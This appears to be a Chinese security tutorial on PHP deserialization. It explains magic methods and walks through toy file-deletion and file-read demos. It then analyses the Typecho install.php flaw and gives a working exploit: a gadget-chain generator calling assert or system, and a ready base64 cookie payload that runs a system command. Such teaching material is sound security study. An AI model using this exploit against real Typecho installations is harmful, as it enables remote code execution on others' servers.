这是 酒仙桥六号部队 的第 28 篇文章。
全文共计3952个字,预计阅读时长12分钟。
什么是序列化和反序列化
序列化:将对象转换成一个字符串,PHP序列化函数是:serialize()
反序列化:将序列化后的字符串还原为一个对象,PHP反序列化函数是:unserialize()
在说反序列化漏洞之前我们先了解一下对象概念:
我们举个例子,如果把生物当成一个大类,那么就可以分为动物和植物两个类,而动物又可以分为食草动物和杂食动物,那有人可能会问了,为什么这么分呢?
因为动物都有嘴,需要吃东西,植物都需要土空气和水,都会吸取养分,那么这些分类我们可以看成php中的类,动物的嘴和植物需要的土空气水都可以当作属性,动物吃东西和植物吸取养分都可以当作方法。世间的万物我们都可以看成是对象,因为他们都有各自的属性。比如:人有身高,体重,年龄,性别等等这些属性,也可以唱歌,跳舞,跑步等等行为。如果把人看成一个类的话,那么身高,体重,年龄,性别这些就是人这个类的属性,而唱歌,跳舞,跑步就是人这个类的行为。
我们来创建一个人类看看,首先要考虑到这个人的姓名(zhangsan
),性别(男
),年龄(50
),还有它会的技能(会忽悠
)。
<?php class zhangsan{ public $sex = '男'; public $age = '50'; public function skill(){ echo "没病走两步"; }}
class
就是定义这个类,$sex
就是这个人的性别,$age
就是方法,$skill()
就是它的技能,那么把类变成对象就很简单了,只需要new
一下就变成对象了。
$belles = new zhangsan();// 看看它的年龄echo $belles->age;// 换行echo "\n\r";// 看看它的技能echo $belles->skill();
看看运行结果:
这就是一个简单的对象了,那我们就将它序列化和反序列化一下。
$belles = new zhangsan();echo serialize($belles);echo "\n\r";unserialize('O:8:"zhangsan":2:{s:3:"sex";s:3:"男";s:3:"age";s:2:"50";}');// 看看它的年龄echo $belles->age;
我们可以看到实例化就是把对象转换成字符串,反序列化就是把字符串在变成对象,之后就可以使用对象的功能了。
再来看看与PHP反序列化漏洞有关的魔法函数,这些函数不用创建,默认存在的。
__destruct() //对象被销毁时触发__construct() //当一个对象创建时被调用__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__toString() //把类当作字符串使用时触发__get() //获取不存在的类属性时触发__set() //设置不存在的类属性会触发__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发
魔术方法的触发条件:
<?php class Pers{ public $age = '18'; public function __construct(){ echo '创建对象触发'."\n\r"; } public function __destruct(){ echo '销毁对象触发'; }}$per = new Pers(); // 创建对象,触发__construct魔术方法unset($per); // 销毁对象,触发__destruct魔术方法
可以看到对象在创建的时候调用了construct方法,在销毁的时候调用了destruct方法。
<?php class Pers{ public $age = '18'; public function __sleep(){ echo '使用serialize时触发'."\n\r"; return(array('age')); } public function __wakeup(){ echo '使用unserialize时触发'; }}$per = new Pers();serialize($per); // 序列化,触发__sleep魔术方法unserialize('O:4:"Pers":1:{s:3:"age";s:2:"18";}'); // 反序列化,触发__wakeup魔术方法
可以看到对象在实例化的时候触发了sleep方法,在反序列化的时候触发了wakeup方法。
<?php class Pers{ public $age = '18'; public function __toString(){ return '对象当作字符串使用时触发'."\n\r"; } public function __get($p){ echo '获取类不存在的方法会触发'."\n\r"; } public function __set($n,$v){ echo "设置不存在的类属性会触发"."\n\r"; }}$per = new Pers();$per->age = '20';echo $per; // 把对象当成字符串输出$per->p1; // 获取类不存在的属性$per->n = 'aa'; // 设置类不存在的属性
对象在echo
的时候会把对象当成字符串就会触发__toString
方法,获取类不存在的属性p1
,触发__get
魔术方法,设置类不存在的属性n
,触发__set
魔术方法。
<?php class Pers{ public $age = '18'; public function __isset($p){ echo "判断属性是否存在的时候触发"."\n\r"; } public function __unset($content) { echo "当在类外部使用unset()函数来删不存在的属性时自动调用的"."\n\r"; } public function __invoke($content) { echo "把一个对象当成一个函数去执行"."\n\r"; }}$per = new Pers();$per->age = '20';isset($per->aaa); // 判断属性是否存在unset($per->ages); // 删除不存在的属性$per('111'); // 把对象当作函数
判断属性是否存在的时候触发__isset
魔术方法,删除不存在的属性时候触发__unset
魔术方法,把对象当作函数的时候触发__invoke
魔术方法。
小案例1
先修改值,然后序列化。
// demo1.php<?php class delete{ public $name = 'error'; function __destruct(){ echo $this->name.'
'; echo $this->name . ' delete'; unlink(dirname(__FILE__).'/'.$this->name); }}// demo2.php<?php include 'demo1.php';class per{ public $name = ''; public $age = ''; public function infos(){ echo '这里随便'; }}$pers = unserialize($_GET['id']);
分析一下上面的代码,可以看到直接获取id
,这个参数可控,我们可以把这个参数输入成delete类的实例化,并把delete类中的$name
的参数进行修改成我们想要的,就可以造成文件删除,下面来构造一下Exploit:
// 序列化 demo1.php<?php class delete{ public $name = 'error';}$del = new delete();$del->name = 'ccc.php';echo serialize($del);// demo2.php?id=O:6:"delete":1:{s:4:"name";s:7:"ccc.php";}
小案例2
// demo3.php<?php class red{ public $name = 'error'; function __toString(){ // echo $this->name; return file_get_contents($this->name); }}// demo4.php<?php include 'demo3.php';class per{ public $name = ''; public $age = ''; public function infos(){ echo '这里随便'; }}$pers = unserialize($_GET['id']);echo $pers;
我们可以看到id参数同样可控的,red类有一个__toString方法,这个方法上面说到了,只要当成字符串使用就会自动调用,可以构造下面的Exploit,来查看文件内容。
// 序列化 demo1.php<?php class red{ public $name = 'error';}$del = new red();$del->name = 'ccc.txt';echo serialize($del);
Typecho安装文件反序列化漏洞
漏洞代码分析:
// 要让代码执行到这里需要满足一些条件://判断是否已经安装if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit;}// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; }}// install.php<?php // 先调用了Typecho_Cookie::get()方法获取Cookie中的__typecho_config的值,在base64解密// 由此可以判断出poc应该进行base64加密放在cookie中$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));Typecho_Cookie::delete('__typecho_config');// 然后调用Typecho_Db$db = new Typecho_Db($config['adapter'], $config['prefix']);$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);Typecho_Db::set($db);?>// 在Typecho_Db方法中进入到__construct方法public function __construct($adapterName, $prefix = 'typecho_'){ $this->_adapterName = $adapterName; // 这里进行的拼接操作,这里可以判断出可能会触发类的__toString()方法 $adapterName = 'Typecho_Db_Adapter_' . $adapterName; // ...省略}// 其中有三个类有使用__toString()方法:// var/Typecho/Config.php// var/Typecho/Feed.php// var/Typecho/Db/Query.php// 其中Feed可以利用,在Feed__toString()方法中的290行foreach ($this->_items as $item) { $content .= '' . self::EOL; $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL; $content .= '' . $item['link'] . '' . self::EOL; $content .= '' . $item['link'] . '' . self::EOL; $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL; // 在这里,我们可以控制变量为不可访问的属性phpinfo();,这时候可以判断出可能会触发类的__get()魔术方法 $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;// 在文件Request.php中的__get()方法中,获取到了screenNamepublic function __get($key){ echo $key;exit;//screenName return $this->get($key); // 跟进$this->get($key)就是获取screenName的值为phpinfo(),很简单不写了,然后他调了return $this->_applyFilter($value);}// 再跟进$this->_applyFilter($value)private function _applyFilter($value){ if ($this->_filter) { foreach ($this->_filter as $filter) { var_dump($filter.'--'. $value);exit; // 这里可以看到获取了两个值 "assert--phpinfo()",并交给call_user_func处理 $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); //。。。省略
我们再来回顾一边漏洞产生的步骤:
1.从Cookie或者POST的数据中寻找到'__typecho_config'字段。
2.然后调用'__typecho_config'中的'adapter'和'prefix'实例化一个Typecho_Db类。
3.在实例化过程中,采用了字符串拼接访问了'adapter',当我们设置的'adapter'字段是一个类的话,就会触发这个类的__toString()魔术方法。
4.寻找到Feed这个类中的__toString() 魔术方法,访问了$item['author']->screenName。
5.当$item['author']->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法
6.Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在。
7.将params[$key]的值传入applyFilter()方法,并执行代码。
// Exploit如下:
<?php class Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); }}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } // 执行系统命令 // public function __construct(){ // $this->_params['screenName'] = 'ipconfig'; // $this->_filter[0] = 'system'; // }}$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');echo base64_encode(serialize($exp));// payload__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjg6ImlwY29uZmlnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODoiaXBjb25maWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
复现漏洞:
将payload传入cookie中。